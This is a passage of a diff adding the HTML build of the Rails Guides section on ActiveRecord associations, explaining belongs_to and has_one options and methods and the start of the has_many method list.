+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With this declaration, Rails will keep the cache value up to date, and then return that value in response to the <tt>.size</tt> method.</p></div>
+<div class="para"><p>Although the <tt>:counter_cache</tt> option is specified on the model that includes the <tt>belongs_to</tt> declaration, the actual column must be added to the <em>associated</em> model. In the case above, you would need to add a column named <tt>orders_count</tt> to the <tt>Customer</tt> model. You can override the default column name if you need to:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=></span> <span style="color: #990000">:</span>count_of_orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Counter cache columns are added to the containing model's list of read-only attributes through <tt>attr_readonly</tt>.</p></div>
+<h5 id="_tt_dependent_tt"><tt>:dependent</tt></h5>
+<div class="para"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">You should not specify this option on a <tt>belongs_to</tt> association that is connected with a <tt>has_many</tt> association on the other class. Doing so can lead to orphaned records in your database.</td>
+</tr></table>
+</div>
+<h5 id="_tt_foreign_key_tt"><tt>:foreign_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"Patron"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=></span> <span style="color: #FF0000">"patron_id"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</td>
+</tr></table>
+</div>
+<h5 id="_tt_include_tt"><tt>:include</tt></h5>
+<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>order
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer
+ has_many <span style="color: #990000">:</span>line_items
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you frequently retrieve customers directly from line items (<tt>@line_item.order.customer</tt>), then you can make your code somewhat more efficient by including customers in the association from line items to orders:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>order<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=></span> <span style="color: #990000">:</span>customer
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer
+ has_many <span style="color: #990000">:</span>line_items
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">There's no need to use <tt>:include</tt> for immediate associations - that is, if you have <tt>Order belongs_to :customer</tt>, then the customer is eager-loaded automatically when it's needed.</td>
+</tr></table>
+</div>
+<h5 id="_tt_polymorphic_tt"><tt>:polymorphic</tt></h5>
+<div class="para"><p>Passing <tt>true</tt> to the <tt>:polymorphic</tt> option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.</p></div>
+<h5 id="_tt_readonly_tt"><tt>:readonly</tt></h5>
+<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p></div>
+<h5 id="_tt_select_tt"><tt>:select</tt></h5>
+<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p></div>
+<h5 id="_tt_validate_tt"><tt>:validate</tt></h5>
+<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p></div>
+<h4 id="_when_are_objects_saved">4.1.3. When are Objects Saved?</h4>
+<div class="para"><p>Assigning an object to a <tt>belongs_to</tt> association does <em>not</em> automatically save the object. It does not save the associated object either.</p></div>
+<h3 id="_the_has_one_association">4.2. The has_one Association</h3>
+<div class="para"><p>The <tt>has_one</tt> association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use <tt>belongs_to</tt> instead.</p></div>
+<h4 id="_methods_added_by_tt_has_one_tt">4.2.1. Methods Added by <tt>has_one</tt></h4>
+<div class="para"><p>When you declare a <tt>has_one</tt> association, the declaring class automatically gains five methods related to the association:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt><em>association</em>(force_reload = false)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>association</em>=(associate)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>association</em>.nil?</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>build<em>_association</em>(attributes = {})</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>create<em>_association</em>(attributes = {})</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>has_one</tt>. For example, given the declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Each instance of the <tt>Supplier</tt> model will have these methods:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>account
+account<span style="color: #990000">=</span>
+account<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+build_account
+create_account
+</tt></pre></div></div>
+<h5 id="_tt_em_association_em_force_reload_false_tt_2"><tt><em>association</em>(force_reload = false)</tt></h5>
+<div class="para"><p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>account
+</tt></pre></div></div>
+<div class="para"><p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p></div>
+<h5 id="_tt_em_association_em_associate_tt_2"><tt><em>association</em>=(associate)</tt></h5>
+<div class="para"><p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@suppler</span><span style="color: #990000">.</span>account <span style="color: #990000">=</span> <span style="color: #009900">@account</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_association_em_nil_tt_2"><tt><em>association</em>.nil?</tt></h5>
+<div class="para"><p>The <tt><em>association</em>.nil?</tt> method returns <tt>true</tt> if there is no associated object.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>account<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+ <span style="color: #009900">@msg</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"No account found for this supplier"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_build_em_association_em_attributes_tt_2"><tt>build<em>_association</em>(attributes = {})</tt></h5>
+<div class="para"><p>The <tt>build<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>build_account<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>terms <span style="color: #990000">=></span> <span style="color: #FF0000">"Net 30"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_create_em_association_em_attributes_tt_2"><tt>create<em>_association</em>(attributes = {})</tt></h5>
+<div class="para"><p>The <tt>create<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@account</span> <span style="color: #990000">=</span> <span style="color: #009900">@supplier</span><span style="color: #990000">.</span>create_account<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>terms <span style="color: #990000">=></span> <span style="color: #FF0000">"Net 30"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h4 id="_options_for_tt_has_one_tt">4.2.2. Options for <tt>has_one</tt></h4>
+<div class="para"><p>In many situations, you can use the default behavior of <tt>has_one</tt> without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_one</tt> association. For example, an association with several options might look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"Billing"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>dependent <span style="color: #990000">=></span> <span style="color: #990000">:</span>nullify
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>has_one</tt> association supports these options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:as</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:class_name</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:conditions</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:dependent</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:foreign_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:include</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:order</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:primary_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:readonly</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:select</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:source</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:source_type</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:through</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:validate</tt>
+</p>
+</li>
+</ul></div>
+<h5 id="_tt_as_tt"><tt>:as</tt></h5>
+<div class="para"><p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.</p></div>
+<h5 id="_tt_class_name_tt_2"><tt>:class_name</tt></h5>
+<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"Billing"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_conditions_tt_2"><tt>:conditions</tt></h5>
+<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">"confirmed = 1"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_dependent_tt_2"><tt>:dependent</tt></h5>
+<div class="para"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the association object to <tt>NULL</tt>.</p></div>
+<h5 id="_tt_foreign_key_tt_2"><tt>:foreign_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=></span> <span style="color: #FF0000">"supp_id"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</td>
+</tr></table>
+</div>
+<h5 id="_tt_include_tt_2"><tt>:include</tt></h5>
+<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>supplier
+ belongs_to <span style="color: #990000">:</span>representative
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Representative <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>accounts
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you frequently retrieve representatives directly from suppliers (<tt>@supplier.account.representative</tt>), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=></span> <span style="color: #990000">:</span>representative
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>supplier
+ belongs_to <span style="color: #990000">:</span>representative
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Representative <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>accounts
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_order_tt"><tt>:order</tt></h5>
+<div class="para"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause). Because a <tt>has_one</tt> association will only retrieve a single associated object, this option should not be needed.</p></div>
+<h5 id="_tt_primary_key_tt"><tt>:primary_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p></div>
+<h5 id="_tt_readonly_tt_2"><tt>:readonly</tt></h5>
+<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p></div>
+<h5 id="_tt_select_tt_2"><tt>:select</tt></h5>
+<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p></div>
+<h5 id="_tt_source_tt"><tt>:source</tt></h5>
+<div class="para"><p>The <tt>:source</tt> option specifies the source association name for a <tt>has_one :through</tt> association.</p></div>
+<h5 id="_tt_source_type_tt"><tt>:source_type</tt></h5>
+<div class="para"><p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_one :through</tt> association that proceeds through a polymorphic association.</p></div>
+<h5 id="_tt_through_tt"><tt>:through</tt></h5>
+<div class="para"><p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_one :through</tt> associations are discussed in detail later in this guide.</p></div>
+<h5 id="_tt_validate_tt_2"><tt>:validate</tt></h5>
+<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p></div>
+<h4 id="_when_are_objects_saved_2">4.2.3. When are Objects Saved?</h4>
+<div class="para"><p>When you assign an object to a <tt>has_one</tt> association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.</p></div>
+<div class="para"><p>If either of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
+<div class="para"><p>If the parent object (the one declaring the <tt>has_one</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved.</p></div>
+<div class="para"><p>If you want to assign an object to a <tt>has_one</tt> association without saving the object, use the <tt>association.build</tt> method.</p></div>
+<h3 id="_the_has_many_association">4.3. The has_many Association</h3>
+<div class="para"><p>The <tt>has_many</tt> association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.</p></div>
+<h4 id="_methods_added">4.3.1. Methods Added</h4>
+<div class="para"><p>When you declare a <tt>has_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt><em>collection</em>(force_reload = false)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em><<(object, …)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.delete(object, …)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>=objects</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection_singular</em>_ids</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection_singular</em>_ids=ids</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.clear</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.empty?</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.size</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.find(…)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.exist?(…)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.build(attributes = {}, …)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>collection</em>.create(attributes = {})</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Each instance of the customer model will have these methods:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>orders<span style="color: #990000">(</span>force_reload <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
+orders<span style="color: #990000"><<(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
+orders<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
+orders<span style="color: #990000">=</span>objects
+order_ids
+order_ids<span style="color: #990000">=</span>ids
+orders<span style="color: #990000">.</span>clear
+orders<span style="color: #990000">.</span>empty?
+orders<span style="color: #990000">.</span>size
+orders<span style="color: #990000">.</span>find<span style="color: #990000">(...)</span>
+orders<span style="color: #990000">.</span>exist?<span style="color: #990000">(...)</span>
+orders<span style="color: #990000">.</span>build<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">,</span> <span style="color: #990000">...)</span>
+orders<span style="color: #990000">.</span>create<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_force_reload_false_tt"><tt><em>collection</em>(force_reload = false)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@orders</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_lt_lt_object_8230_tt"><tt><em>collection</em><<(object, …)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders <span style="color: #990000"><<</span> <span style="color: #009900">@order1</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_delete_object_8230_tt"><tt><em>collection</em>.delete(object, …)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to <tt>NULL</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>delete<span style="color: #990000">(</span><span style="color: #009900">@order1</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
